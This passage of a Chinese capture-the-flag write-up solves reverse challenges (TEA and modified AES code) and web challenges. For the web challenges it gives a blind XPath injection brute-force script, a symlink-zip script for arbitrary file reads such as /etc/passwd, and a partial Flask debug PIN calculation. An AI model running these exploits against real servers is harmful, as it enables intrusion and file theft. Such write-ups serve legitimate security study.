k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}2.题目名称:staticaes.c: #include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h> void hexdump(void *pdata, int size) { const uint8_t *p = (const uint8_t *)pdata; int count = size / 16; int rem = size % 16; for (int r = 0; r <= count; r++) { int k = (r == count) ? rem : 16; if (r) printf("\n"); for (int i = 0; i < 16; i++) { if (i < k) printf("%02X ", p[i]); else printf(" "); } printf(" "); for (int i = 0; i < k; i++) { printf("%c", isprint(p[i]) ? p[i] : '.'); } p += 0x10; } printf("\n");} /* This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256. The implementation is verified against the test vectors in: National Institute of Standards and Technology Special Publication 800-38A2001 ED ECB-AES128---------- plain-text: 6bc1bee22e409f96e93d7e117393172a ae2d8a571e03ac9c9eb76fac45af8e51 30c81c46a35ce411e5fbc1191a0a52ef f69f2445df4f9b17ad2b417be66c3710 key: 2b7e151628aed2a6abf7158809cf4f3c resulting cipher 3ad77bb40d7a3660a89ecaf32466ef97 f5d3d58503b9699de785895a96fdbaaf 43b1cd7f598ece23881b00e3ed030688 7b0c785e27e8ad3f8223207104725dd4 NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) You should pad the end of the string with zeros if this is not the case. For AES192/256 the key size is proportionally larger. */ /*****************************************************************************//* Includes: *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset /*****************************************************************************//* Defines: *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4 #if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4 // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif // jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif /*****************************************************************************//* Private variables: *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4]; // The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = { // 0 1 2 3 4 5 6 7 8 9 A B C // D E F 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16}; #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = { 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d};#endif // The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36}; /* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */ /*****************************************************************************//* Private functions: *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){ return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)]) // This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) { unsigned i, j, k; uint8_t tempa[4]; // Used for the column/row operations // The first round key is the key itself. for (i = 0; i < Nk; ++i) { RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; } // All other round keys are found from the previous round keys. for (i = Nk; i < Nb * (Nr + 1); ++i) { { k = (i - 1) * 4; tempa[0] = RoundKey[k + 0]; tempa[1] = RoundKey[k + 1]; tempa[2] = RoundKey[k + 2]; tempa[3] = RoundKey[k + 3]; } if (i % Nk == 0) { // This function shifts the 4 bytes in a word to the left once. // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] // Function RotWord() { const uint8_t u8tmp = tempa[0]; tempa[0] = tempa[1]; tempa[1] = tempa[2]; tempa[2] = tempa[3]; tempa[3] = u8tmp; } // SubWord() is a function that takes a four-byte input word and // applies the S-box to each of the four bytes to produce an output word. // Function Subword() { tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); } tempa[0] = tempa[0] ^ Rcon[i / Nk]; }#if defined(AES256) && (AES256 == 1) if (i % Nk == 4) { // Function Subword() { tempa[0] = getSBoxValue(tempa[0]); tempa[1] = getSBoxValue(tempa[1]); tempa[2] = getSBoxValue(tempa[2]); tempa[3] = getSBoxValue(tempa[3]); } }#endif j = i * 4; k = (i - Nk) * 4; RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; }} void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) { KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key, const uint8_t *iv) { KeyExpansion(ctx->RoundKey, key); memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) { memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif // This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state, const uint8_t *RoundKey) { uint8_t i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; } }} // The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) { uint8_t i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[j][i] = getSBoxValue((*state)[j][i]); } }} // The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) { uint8_t temp; // Rotate first row 1 columns to left temp = (*state)[0][1]; (*state)[0][1] = (*state)[1][1]; (*state)[1][1] = (*state)[2][1]; (*state)[2][1] = (*state)[3][1]; (*state)[3][1] = temp; // Rotate second row 2 columns to left temp = (*state)[0][2]; (*state)[0][2] = (*state)[2][2]; (*state)[2][2] = temp; temp = (*state)[1][2]; (*state)[1][2] = (*state)[3][2]; (*state)[3][2] = temp; // Rotate third row 3 columns to left temp = (*state)[0][3]; (*state)[0][3] = (*state)[3][3]; (*state)[3][3] = (*state)[2][3]; (*state)[2][3] = (*state)[1][3]; (*state)[1][3] = temp;} static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); } // MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) { uint8_t i; uint8_t Tmp, Tm, t; for (i = 0; i < 4; ++i) { t = (*state)[i][0]; Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3]; Tm = (*state)[i][0] ^ (*state)[i][1]; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp; Tm = (*state)[i][1] ^ (*state)[i][2]; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp; Tm = (*state)[i][2] ^ (*state)[i][3]; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp; Tm = (*state)[i][3] ^ t; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp; }} // Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary// The compiler seems to be able to vectorize the operation better this// way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) { return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^ ((y >> 2 & 1) * xtime(xtime(x))) ^ ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^ ((y >> 4 & 1) * xtime(xtime(xtime( xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y) \ (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^ \ ((y >> 2 & 1) * xtime(xtime(x))) ^ \ ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^ \ ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x)))))) #endif #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){ return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)]) // MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) { int i; uint8_t a, b, c, d; for (i = 0; i < 4; ++i) { a = (*state)[i][0]; b = (*state)[i][1]; c = (*state)[i][2]; d = (*state)[i][3]; (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); }} // The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) { uint8_t i, j; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { (*state)[j][i] = getSBoxInvert((*state)[j][i]); } }} static void InvShiftRows(state_t *state) { uint8_t temp; // Rotate first row 1 columns to right temp = (*state)[3][1]; (*state)[3][1] = (*state)[2][1]; (*state)[2][1] = (*state)[1][1]; (*state)[1][1] = (*state)[0][1]; (*state)[0][1] = temp; // Rotate second row 2 columns to right temp = (*state)[0][2]; (*state)[0][2] = (*state)[2][2]; (*state)[2][2] = temp; temp = (*state)[1][2]; (*state)[1][2] = (*state)[3][2]; (*state)[3][2] = temp; // Rotate third row 3 columns to right temp = (*state)[0][3]; (*state)[0][3] = (*state)[1][3]; (*state)[1][3] = (*state)[2][3]; (*state)[2][3] = (*state)[3][3]; (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) void swap_xxx(state_t *state) { for (int j = 0; j < 4; j++) { uint8_t a = (*state)[j][0]; uint8_t b = (*state)[j][1]; uint8_t c = (*state)[j][2]; uint8_t d = (*state)[j][3]; (*state)[j][3] = a; (*state)[j][2] = b; (*state)[j][1] = c; (*state)[j][0] = d; }} // Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) { uint8_t round = 0; // Add the First round key to the state before starting the rounds. AddRoundKey(0, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without MixColumns() for (round = 1;; ++round) { if (round != Nr) { swap_xxx(state); } if (round == Nr) { uint32_t a = *(uint32_t *)(*state)[3]; uint32_t b = *(uint32_t *)(*state)[2]; uint32_t c = *(uint32_t *)(*state)[1]; uint32_t d = *(uint32_t *)(*state)[0]; *(uint32_t *)(*state)[0] = a; *(uint32_t *)(*state)[1] = b; *(uint32_t *)(*state)[2] = c; *(uint32_t *)(*state)[3] = d; } SubBytes(state); ShiftRows(state); if (round == Nr) { uint32_t a = *(uint32_t *)(*state)[0]; uint32_t b = *(uint32_t *)(*state)[1]; uint32_t c = *(uint32_t *)(*state)[2]; uint32_t d = *(uint32_t *)(*state)[3]; *(uint32_t *)(*state)[0] = a; *(uint32_t *)(*state)[3] = b; *(uint32_t *)(*state)[2] = c; *(uint32_t *)(*state)[1] = d; break; } MixColumns(state); swap_xxx(state); AddRoundKey(round, state, RoundKey); hexdump((*state), sizeof(*state)); } hexdump(*state, sizeof(*state)); // Add round key to last round AddRoundKey(Nr, state, RoundKey); swap_xxx(state);} #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) { uint8_t round = 0; swap_xxx(state); // Add the First round key to the state before starting the rounds. AddRoundKey(Nr, state, RoundKey); // There will be Nr rounds. // The first Nr-1 rounds are identical. // These Nr rounds are executed in the loop below. // Last one without InvMixColumn() for (round = (Nr - 1);; --round) { if (round == (Nr - 1)) { uint32_t a = *(uint32_t *)(*state)[0]; uint32_t b = *(uint32_t *)(*state)[1]; uint32_t c = *(uint32_t *)(*state)[2]; uint32_t d = *(uint32_t *)(*state)[3]; *(uint32_t *)(*state)[0] = a; *(uint32_t *)(*state)[3] = b; *(uint32_t *)(*state)[2] = c; *(uint32_t *)(*state)[1] = d; } InvShiftRows(state); InvSubBytes(state); if (round == (Nr - 1)) { uint32_t a = *(uint32_t *)(*state)[3]; uint32_t b = *(uint32_t *)(*state)[2]; uint32_t c = *(uint32_t *)(*state)[1]; uint32_t d = *(uint32_t *)(*state)[0]; *(uint32_t *)(*state)[0] = a; *(uint32_t *)(*state)[1] = b; *(uint32_t *)(*state)[2] = c; *(uint32_t *)(*state)[3] = d; } if (round != (Nr - 1)) { swap_xxx(state); } AddRoundKey(round, state, RoundKey); if (round == 0) { break; } swap_xxx(state); InvMixColumns(state); }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) /*****************************************************************************//* Public functions: *//*****************************************************************************/#if defined(ECB) && (ECB == 1) void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) { // The next function call encrypts the PlainText with the Key using AES // algorithm. Cipher((state_t *)buf, ctx->RoundKey);} void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) { // The next function call decrypts the PlainText with the Key using AES // algorithm. InvCipher((state_t *)buf, ctx->RoundKey);} #endif // #if defined(ECB) && (ECB == 1) #if defined(CBC) && (CBC == 1) static void XorWithIv(uint8_t *buf, const uint8_t *Iv) { uint8_t i; for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size { buf[i] ^= Iv[i]; }} void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) { size_t i; uint8_t *Iv = ctx->Iv; for (i = 0; i < length; i += AES_BLOCKLEN) { XorWithIv(buf, Iv); Cipher((state_t *)buf, ctx->RoundKey); Iv = buf; buf += AES_BLOCKLEN; } /* store Iv in ctx for next call */ memcpy(ctx->Iv, Iv, AES_BLOCKLEN);} void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) { size_t i; uint8_t storeNextIv[AES_BLOCKLEN]; for (i = 0; i < length; i += AES_BLOCKLEN) { memcpy(storeNextIv, buf, AES_BLOCKLEN); InvCipher((state_t *)buf, ctx->RoundKey); XorWithIv(buf, ctx->Iv); memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); buf += AES_BLOCKLEN; }} #endif // #if defined(CBC) && (CBC == 1) #if defined(CTR) && (CTR == 1) /* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) { uint8_t buffer[AES_BLOCKLEN]; size_t i; int bi; for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) { if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ { memcpy(buffer, ctx->Iv, AES_BLOCKLEN); Cipher((state_t *)buffer, ctx->RoundKey); /* Increment Iv and handle overflow */ for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) { /* inc will overflow */ if (ctx->Iv[bi] == 255) { ctx->Iv[bi] = 0; continue; } ctx->Iv[bi] += 1; break; } bi = 0; } buf[i] = (buf[i] ^ buffer[bi]); }} #endif // #if defined(CTR) && (CTR == 1) unsigned char hexData2[176] = { 0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36, 0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D, 0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80, 0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43, 0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02, 0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87, 0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17, 0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1, 0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA, 0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D, 0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A, 0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C, 0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15, 0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23, 0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F}; int main() { struct AES_ctx ctx; uint8_t key[] = "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e"; uint8_t buf[16] = "FFFFFFFFFFFFFFFF"; AES_init_ctx(&ctx, key); memcpy(ctx.RoundKey, hexData2, sizeof(hexData2)); hexdump(ctx.RoundKey, sizeof(ctx.RoundKey)); AES_ECB_encrypt(&ctx, buf); hexdump(buf, sizeof(buf)); uint8_t bufx[16] = "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0"; AES_ECB_decrypt(&ctx, bufx); hexdump(bufx, sizeof(bufx)); return 0;} 四、web1.题目名称:babyjavaxpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6 exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)2.题目名称:OnlineUnzip题目源代码如下:import os import re from hashlib import md5 from flask import Flask, redirect, request, render_template, url_for, make_response app=Flask(__name__) def extractFile(filepath): extractdir=filepath.split('.')[0] if not os.path.exists(extractdir): os.makedirs(extractdir) os.system(f'unzip -o {filepath} -d {extractdir}') return redirect(url_for('display',extractdir=extractdir)) @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/display', methods=['GET']) @app.route('/display/', methods=['GET']) @app.route('/display/<path:extractdir>', methods=['GET']) def display(extractdir=''): if re.search(r"\.\.", extractdir, re.M | re.I) != None: return "Hacker?" else: if not os.path.exists(extractdir): return make_response("error", 404) else: if not os.path.isdir(extractdir): f = open(extractdir, 'rb') response = make_response(f.read()) response.headers['Content-Type'] = 'application/octet-stream' return response else: fn = os.listdir(extractdir) fn = [".."] + fn f = open("templates/template.html") x = f.read() f.close() ret = "<h1>文件列表:</h1><br><hr>" for i in fn: tpath = os.path.join('/display', extractdir, i) ret += "<a href='" + tpath + "'>" + i + "</a><br>" x = x.replace("HTMLTEXT", ret) return x @app.route('/upload', methods=['GET', 'POST']) def upload(): ip = request.remote_addr uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4] if not os.path.exists(uploadpath): os.makedirs(uploadpath) if request.method == 'GET': return redirect('/') if request.method == 'POST': try: upFile = request.files['file'] print(upFile.filename) if os.path.splitext(upFile.filename)[-1]=='.zip': filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip" upFile.save(filepath) zipDatas = extractFile(filepath) return zipDatas else: return f"{upFile.filename} is not a zip file !" except: return make_response("error", 404) if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=True)这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可 软链接任意读文件 flag.sh /etc/passwd #!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flag发现 ffffl111l1a44a4ggg可以看到这里是开启debug的。那么可以算pin来打可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码算 pin import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + 